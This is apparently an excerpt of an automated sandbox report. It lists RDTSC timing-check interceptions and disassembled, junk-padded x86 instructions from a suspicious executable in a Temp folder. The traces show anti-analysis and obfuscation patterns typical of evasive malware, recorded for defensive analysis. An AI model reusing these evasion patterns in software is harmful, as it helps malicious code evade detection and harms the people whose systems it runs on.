Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFA07A second address: DFA08A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44DCF1404Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFA08A second address: DFA08E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFA08E second address: DFA09B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFBCC4 second address: DFBCC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFBCC8 second address: DFBD08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a and bx, 5ECEh 0x0000000f push 00000000h 0x00000011 or di, 7D42h 0x00000016 push 00000000h 0x00000018 xor bx, 2ED2h 0x0000001d xchg eax, esi 0x0000001e jmp 00007F44DCF14059h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push ecx 0x00000028 pop ecx 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF332D second address: DF3332 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF523D second address: DF5241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF6115 second address: DF6119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF70B1 second address: DF70C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44DCF14053h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFDE44 second address: DFDE48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF5241 second address: DF5314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jmp 00007F44DCF14052h 0x0000000d nop 0x0000000e xor dword ptr [ebp+124508DBh], edx 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F44DCF14048h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 mov di, 7D4Ch 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 mov edi, 6C5B9D31h 0x00000045 mov eax, dword ptr [ebp+122D023Dh] 0x0000004b jmp 00007F44DCF14059h 0x00000050 mov dword ptr [ebp+122D34A3h], eax 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push ebp 0x0000005b call 00007F44DCF14048h 0x00000060 pop ebp 0x00000061 mov dword ptr [esp+04h], ebp 0x00000065 add dword ptr [esp+04h], 0000001Bh 0x0000006d inc ebp 0x0000006e push ebp 0x0000006f ret 0x00000070 pop ebp 0x00000071 ret 0x00000072 jmp 00007F44DCF14051h 0x00000077 mov ebx, edx 0x00000079 nop 0x0000007a push edi 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007F44DCF14057h 0x00000082 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF8379 second address: DF837E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF70C8 second address: DF7185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF14053h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+122D22DAh] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push esi 0x0000001a mov dword ptr [ebp+122D1C78h], edi 0x00000020 pop ebx 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007F44DCF14048h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 00000018h 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 jmp 00007F44DCF14053h 0x00000047 mov eax, dword ptr [ebp+122D00C1h] 0x0000004d push 00000000h 0x0000004f push ebx 0x00000050 call 00007F44DCF14048h 0x00000055 pop ebx 0x00000056 mov dword ptr [esp+04h], ebx 0x0000005a add dword ptr [esp+04h], 00000018h 0x00000062 inc ebx 0x00000063 push ebx 0x00000064 ret 0x00000065 pop ebx 0x00000066 ret 0x00000067 mov ebx, dword ptr [ebp+122D1C78h] 0x0000006d mov edi, dword ptr [ebp+122D1F1Bh] 0x00000073 push FFFFFFFFh 0x00000075 jmp 00007F44DCF14059h 0x0000007a push eax 0x0000007b push eax 0x0000007c push edx 0x0000007d push eax 0x0000007e push edx 0x0000007f push eax 0x00000080 pop eax 0x00000081 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFBE48 second address: DFBE52 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F44DCF2CAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFDE48 second address: DFDE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFCF7B second address: DFCF85 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F44DCF2CAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DF7185 second address: DF718B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFBE52 second address: DFBE59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFDE4E second address: DFDE58 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F44DCF1404Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFEF4C second address: DFEFB5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jg 00007F44DCF2CAE6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F44DCF2CAE8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 add bl, FFFFFFE2h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F44DCF2CAE8h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 00000019h 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 push 00000000h 0x0000004a jmp 00007F44DCF2CAEFh 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push ebx 0x00000054 pop ebx 0x00000055 pop eax 0x00000056 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFEFB5 second address: DFEFD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F44DCF14057h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E0004A second address: E000D2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F44DCF2CAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F44DCF2CAE8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov edi, 4F105B5Eh 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007F44DCF2CAE8h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 mov edi, dword ptr [ebp+122D2AD2h] 0x0000004f push edi 0x00000050 mov ebx, dword ptr [ebp+122D3429h] 0x00000056 pop edi 0x00000057 push 00000000h 0x00000059 mov bx, ax 0x0000005c xchg eax, esi 0x0000005d push eax 0x0000005e push edx 0x0000005f push ebx 0x00000060 jmp 00007F44DCF2CAF7h 0x00000065 pop ebx 0x00000066 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E000D2 second address: E000E5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F44DCF1404Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E000E5 second address: E000E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E02EC4 second address: E02EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E04F1F second address: E04F36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E04F36 second address: E04F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFF12C second address: DFF130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DFF130 second address: DFF135 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E011CB second address: E011CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E0B3AF second address: E0B3B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E0512C second address: E05151 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F44DCF2CAECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007F44DCF2CAF0h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E05215 second address: E05228 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F44DCF1404Bh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E05228 second address: E0522C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E0ECC2 second address: E0ECCC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F44DCF14046h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E0ECCC second address: E0ECF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c je 00007F44DCF2CAFBh 0x00000012 jmp 00007F44DCF2CAF5h 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E0ECF9 second address: E0ECFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E0EE3A second address: E0EE57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F44DCF2CAF3h 0x0000000b popad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E0EE57 second address: E0EE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DE9F73 second address: DE9FAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push edi 0x00000009 jmp 00007F44DCF2CAF9h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F44DCF2CAF3h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E13B7F second address: E13BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F44DCF14046h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F44DCF14051h 0x00000014 ja 00007F44DCF14046h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E13BAA second address: E13BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E13BAE second address: E13BD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c jmp 00007F44DCF1404Bh 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 jbe 00007F44DCF1404Ch 0x0000001c jbe 00007F44DCF14046h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E13DCF second address: E13E00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007F44DCF2CAF4h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F44DCF2CAEEh 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E13E00 second address: E13E04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E13E04 second address: C3EA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F44DCF2CAF8h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007F44DCF2CAEDh 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 jmp 00007F44DCF2CAEEh 0x0000001c pop eax 0x0000001d jmp 00007F44DCF2CAF5h 0x00000022 push dword ptr [ebp+122D16E9h] 0x00000028 cmc 0x00000029 call dword ptr [ebp+122D272Eh] 0x0000002f pushad 0x00000030 mov dword ptr [ebp+122D22BFh], edx 0x00000036 xor eax, eax 0x00000038 xor dword ptr [ebp+122D22BFh], ebx 0x0000003e mov edx, dword ptr [esp+28h] 0x00000042 js 00007F44DCF2CAEEh 0x00000048 jnp 00007F44DCF2CAE8h 0x0000004e mov dword ptr [ebp+122D2A86h], eax 0x00000054 jmp 00007F44DCF2CAF6h 0x00000059 mov esi, 0000003Ch 0x0000005e jmp 00007F44DCF2CAF6h 0x00000063 add esi, dword ptr [esp+24h] 0x00000067 sub dword ptr [ebp+122D3999h], esi 0x0000006d lodsw 0x0000006f mov dword ptr [ebp+122D399Eh], ecx 0x00000075 jc 00007F44DCF2CAFBh 0x0000007b jmp 00007F44DCF2CAF5h 0x00000080 add eax, dword ptr [esp+24h] 0x00000084 jmp 00007F44DCF2CAEDh 0x00000089 mov ebx, dword ptr [esp+24h] 0x0000008d cmc 0x0000008e nop 0x0000008f push eax 0x00000090 push edx 0x00000091 push eax 0x00000092 push edx 0x00000093 push ecx 0x00000094 pop ecx 0x00000095 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E19897 second address: E1989B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1989B second address: E198A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E198A4 second address: E198AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E198AD second address: E198C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1859E second address: E185A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E185A4 second address: E185AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E18B66 second address: E18B6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E18B6D second address: E18B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF2CAEDh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 ja 00007F44DCF2CAE6h 0x00000016 push edi 0x00000017 pop edi 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007F44DCF2CAE6h 0x00000021 jc 00007F44DCF2CAE6h 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E18D6F second address: E18D75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E18D75 second address: E18D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF2CAF4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E192AC second address: E192B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F44DCF14046h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1941E second address: E1943F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a jmp 00007F44DCF2CAF2h 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1943F second address: E19452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44DCF1404Fh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E195D8 second address: E195E2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F44DCF2CAE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1EFC5 second address: E1EFE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F44DCF14055h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1DC2C second address: E1DC34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1DC34 second address: E1DC38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1DD83 second address: E1DD8D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F44DCF2CAECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1DEEC second address: E1DF09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F44DCF14058h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1DF09 second address: E1DF0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1DF0F second address: E1DF15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1DF15 second address: E1DF34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAF1h 0x00000007 jnl 00007F44DCF2CAE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1DF34 second address: E1DF38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1E71C second address: E1E722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DD199E second address: DD19B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1EE43 second address: E1EE57 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F44DCF2CAE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F44DCF2CAE6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E1EE57 second address: E1EE5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: E226AD second address: E226CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F44DCF2CAECh 0x0000000c jnl 00007F44DCF2CAE6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007F44DCF2CAE6h 0x0000001b rdtsc
